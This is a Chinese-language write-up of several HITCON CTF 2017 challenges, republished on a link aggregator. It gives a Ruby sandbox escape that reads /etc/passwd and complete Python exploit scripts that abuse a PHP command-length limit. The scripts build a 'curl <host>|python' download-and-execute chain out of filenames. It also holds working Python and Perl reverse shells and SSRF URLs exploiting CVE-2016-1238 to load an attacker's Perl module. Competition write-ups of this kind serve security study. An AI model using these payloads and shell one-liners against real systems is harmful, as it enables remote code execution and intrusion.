4

Hitcon CTF 2017 Writeup

 2 years ago
source link: http://ultramangaia.github.io/blog/2017/hitcon-ctf-2017.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

Baby Ruby Escaping

#!/usr/bin/env ruby
require 'readline'
proc {
  my_exit = Kernel.method(:exit!)
  my_puts = $stdout.method(:puts)
  ObjectSpace.each_object(Module) { |m| m.freeze if m != Readline }
  set_trace_func proc { |event, file, line, id, binding, klass|
    bad_id = /`|exec|foreach|fork|load|method_added|open|read(?!line$)|require|set_trace_func|spawn|syscall|system/
    bad_class = /(?<!True|False|Nil)Class|Module|Dir|File|ObjectSpace|Process|Thread/
    if event =~ /class/ || (event =~ /call/ && (id =~ bad_id || klass.to_s =~ bad_class))
      my_puts.call "\e[1;31m== Hacker Detected (#{$&}) ==\e[0m"
      my_exit.call
    end
  }
}.call
loop do
  line = Readline.readline('baby> ', true)
  puts '=> ' + eval(line, TOPLEVEL_BINDING).inspect
end

Ruby? 不熟orz,然后尝试学了下ruby,后来发现了个任意文件读取,

ARGV<<"/etc/passwd"
print while gets

果然是读不到什么重要的东西,ctf中感觉读下

/etc/passwd
/flag
/flag.txt
/home/xxx/flag
/home/xxx/flag.txt
index.php等源代码
等,没有发现的话应该盲读的意义就不大了。

嗯,接下来想办法列目录…搞了好久没办法,本地测试的时候不小心按了两下tab,发现可以显示当前目录文件。
哦,原来是因为Readline可以保存历史记录,还可以智能地列目录。
然后列目录,读取文件就可以得到flag。

BabyFirst Revenge

提示了是在Hitcon ctf 2015的baby first基础上增加难度的

<?php
    $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
    @mkdir($sandbox);
    @chdir($sandbox);
    if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
        @exec($_GET['cmd']);
    } else if (isset($_GET['reset'])) {
        @exec('/bin/rm -rf ' . $sandbox);
    }
    highlight_file(__FILE__);

限制了linux命令只能是小于等于5个字符。
ls写文件,sh执行命令
rev翻转字符串

import requests
'''
# generate `ls -t>g` to file "_"
http://host/?cmd=>ls\
http://host/?cmd=ls>_
http://host/?cmd=>\ \
http://host/?cmd=>-t\
http://host/?cmd=>\>g
http://host/?cmd=ls>>_
# generate `curl 118.88.99.44|python` to file "g"
http://host/?cmd=>on
http://host/?cmd=>th\
http://host/?cmd=>py\
http://host/?cmd=>\|\
http://host/?cmd=>18\
http://host/?cmd=>5.\
http://host/?cmd=>4\
http://host/?cmd=>89.\
http://host/?cmd=>8.\
http://host/?cmd=>11\
http://host/?cmd=>\ \
http://host/?cmd=>rl\
http://host/?cmd=>cu\
http://host/?cmd=sh _
# got shell
http://host/?cmd=sh g
'''
cmds = [
  ">ls\\",
  "ls>_",
  ">\\ \\",
  ">-t\\",
  ">\\>g",
  "ls>>_",
  ">on",
  ">th\\",
  ">py\\",
  ">\\|\\",
  ">18\\",
  ">5.\\",
  ">4\\",
  ">89.\\",
  ">8.\\",
  ">11\\",
  ">\\ \\",
  ">rl\\",
  ">cu\\",
  "sh _",
  "sh g",
]
requests.get("http://118.88.99.44/web1.php?reset=1")
for cmd in cmds:
  requests.get("http://118.88.99.44/web1.php?cmd=%s"%cmd)

找个python反弹shell

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("118.88.99.44",5010));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

BabyFirst Revenge v2

同上一题,但是限制4个字符

import requests
'''
# generate "g> ht- sl" to file "v"
>dir
>sl
>g\>
>ht-
*>v
# reverse file "v" to file "x", content "ls -th >g"
>rev
*v>x
# generate "curl 118.88.99.44|python;"
>\;\
>on\
>th\
>py\
>\|\
>18\
>5.\
>4\
>9.\
>8\
>8.\
>11\
>\ \
>rl\
>cu\
# got shell
sh x
sh g
'''
cmds = [
  ">dir",
  ">sl",
  ">g\>",
  ">ht-",
  "*>v",
  ">rev",
  "*v>x",
  ">\\;\\",
  ">on\\",
  ">th\\",
  ">py\\",
  ">\\|\\",
  ">18\\",
  ">5.\\",
  ">4\\",
  ">9.\\",
  ">8\\",
  ">8.\\",
  ">11\\",
  ">\\ \\",
  ">rl\\",
  ">cu\\",
  "sh x",
  "sh g",
]
requests.get("http://118.88.99.44/web1.php?reset=1")
for cmd in cmds:
  requests.get("http://118.88.99.44/web1.php?cmd=%s"%cmd)

SSRFme?

php
<?php
    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
    @mkdir($sandbox);
    @chdir($sandbox);
    $data = shell_exec("GET " . escapeshellarg($_GET["url"]));
    $info = pathinfo($_GET["filename"]);
    $dir  = str_replace(".", "", basename($info["dirname"]));
    @mkdir($dir);
    @chdir($dir);
    @file_put_contents(basename($info["basename"]), $data);
    highlight_file(__FILE__);

CVE-2016-1238
It was found that perl can load modules from the current directory if not found in the module directories
A local, authenticated attacker could create a specially crafted module in a writable directory and trick a user into running a perl program from that directory; if the module is not found in previous @INC paths, it will load and execute the attacker’s module.

由于perl处理模块加载时存在漏洞,如果内部存在相应模块,会尝试在当前目录加载。
找个perl的反弹shell

use Socket;$i="118.88.99.44";$p=5010;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};
http://13.115.136.15/?url=http://118.88.99.44/evil.pl&filename=evil.pl
http://13.115.136.15/?url=evil://118.88.99.44/evil.pl&filename=evil.pl

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至[email protected]

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK